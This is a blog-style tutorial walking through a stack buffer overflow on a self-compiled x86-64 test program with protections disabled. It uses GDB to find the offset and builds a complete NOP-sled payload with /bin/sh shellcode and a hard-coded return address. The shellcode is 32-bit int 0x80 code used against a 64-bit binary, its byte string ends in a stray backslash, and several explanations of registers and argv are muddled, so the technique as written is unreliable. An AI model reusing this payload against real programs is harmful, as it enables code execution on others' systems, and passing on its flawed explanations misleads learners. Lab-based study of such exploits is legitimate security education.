x86-64 Basic Buffer Overflow Theory
In this post, we’re going to dig into buffer overflows, focusing on stack manipulation and payload crafting. To follow along, you'll need some basic knowledge of C, how to compile with GCC, and be familiar with GDB for debugging. If you're good with that, let's jump into how we can break past memory defenses and run custom shellcode!
Compile instructions for the code we’re going to be using below and a brief explanation of the switches used during compilation to make our concept work.
Compile: gcc -fno-stack-protector -z execstack -no-pie test.c -o test
-fno-stack-protector
: Disables stack protection, allowing buffer overflows to occur without being stopped.
-z execstack
: Makes the stack executable, so your shellcode can run.
-no-pie
: Compiles the program as a non-randomized executable, making it easier to predict where your code will be in memory.
The program uses STRCPY which is an unsafe function in C, so we are able to copy as much information into the program. This allows us to eventually override argv[1] where the program accepts arguments. STRNCPY denotes a maximum number of characters that can be copied over into a buffer and prevents buffer overflows from occurring.
Open the program with GDB (GNU Debugger) with gdb ./overflow1
Then we can run the command disas main
to disassemble the main function of the program. Seeing STRCPY here is a good indicator of an insecure function used.
We want to add a breakpoint at the $RSP (x64 compiled (64 bit) programs) stack pointer ($ESP in x86 compiled (32 bit) programs) using right before the puts function by doing: break *0x401175
We are now able to run the program with specific instructions to this breakpoint where it will pause and allow us to examine what occurred in the memory registers.
The specific instructions we will include are going to be tests to see where the offset is, point where we can overflow a buffer. We can test for this by using a string such as run $(python -c "print('A'*256)")
.
Now we can see that there are many A’s being flooded in different points in memory and among the registers. The one that we are interested in is the $RSP. If my terminal looks a little different than yours it is because I am using GEF (GDB Enhanced Features) and you can see the additional outputs I do attached:
Now we can examine the memory register of $RSP to see if we will find 0x41
over and over, to indicate a successful buffer overflow of A’s. The command x/200xb $rsp
will allow us to do this. Where 200 is, is the number of spaces we want to see.
The xb
afterwards are specifying hexadecimal output with bytes, and the $RSP is the memory register we’re examining- though we can replace that with others to see what’s going on in different places. Sometimes we want to see more than 200 spaces in order to find the beginning or ending of where our A’s and B’s for testing go, you will see me use 300xb
later on to expand on what I can see.
When we continue we will see the program exit normally due to the buffer size in the source code being 256
and we only sent 256 A’s.
In order to create a segmentation fault and create a buffer overflow we ware going to need to go further than just what the buffer is allowed to hold. So we will send the same command with 270 A’s for testing this time and append 4 B’s at the end to confirm control over the program. Notice that we see the A’s and B’s in the programs memory with the aide of GEF.
Here we can actually we when we continue on that the program does hit a segmentation fault and crashes.
The address we’re interested in to take over and control is the $RSP. We can examine the contents of this memory register which should be overflown with A’s and ending with B’s. Seeing our A’s (x4141414141) and B’s (x4242424242) in the register appearing as hexadecimal tells us that at 0x7fffffffdfc0
we can start overflowing the buffer. I actually expanded on the spaces we’re viewing to in order to allow for seeing the B’s with x/300xb $rsp
.
Now that we have enough information, it’s time to start crafting our payload:
Now we want a NOP (no-operation instruction) SLED (sequence of instructions meant to slide into the CPU’s instruction flow to its target destination) that will be as large as possible. If we launch the program to return anywhere in the NOP SLED it will eventually slide down to our shell code (malicious instructions).
Creating an example payload that includes NOPs (where x\90 is): run $(python -c “print(‘\x90’*222 + ‘SHELLCODEHERE’+ ‘little endian address’)”
In our case we’re doing 268 (where we minimally hit a segmentation fault) minus 47 (bytes of shellcode) to get 221 (and I chose to use 222), so we use 222 NOPs then add in our shellcode and little endian address (return address). In the last concatenated part is where we put our memory address in little endian format (writing the memory address in reverse- least significant byte first: Endianness - Wikipedia).
The little endian address when our ability to write to a buffer begins: \xd0\xdf\xff\xff\xff\x7f
Here is the shellcode to execute a /bin/sh
shell (47 bytes): \x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x89\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\
PAYLOAD: run $(python -c "print('\x90'*222 + '\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x89\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68' + '\xd0\xdf\xff\xff\xff\x7f')")
You can see here when we continue past the breakpoint we set we will reach the segmentation fault and start a /bin/sh
session, it is okay that it appears odd - this is confirming that we’ve executed a buffer overflow and attempted to execute malicious shellcode.
The exploit worked by taking control of the return address and running our shellcode. With tools like msfvenom
, you can generate all kinds of shellcode for different architectures, giving you the flexibility to adapt this technique to various environments. As you experiment more, you'll find endless possibilities to craft payloads and fine-tune your exploits. Keep exploring, and who knows—your next shellcode could be even more powerful. Happy hacking!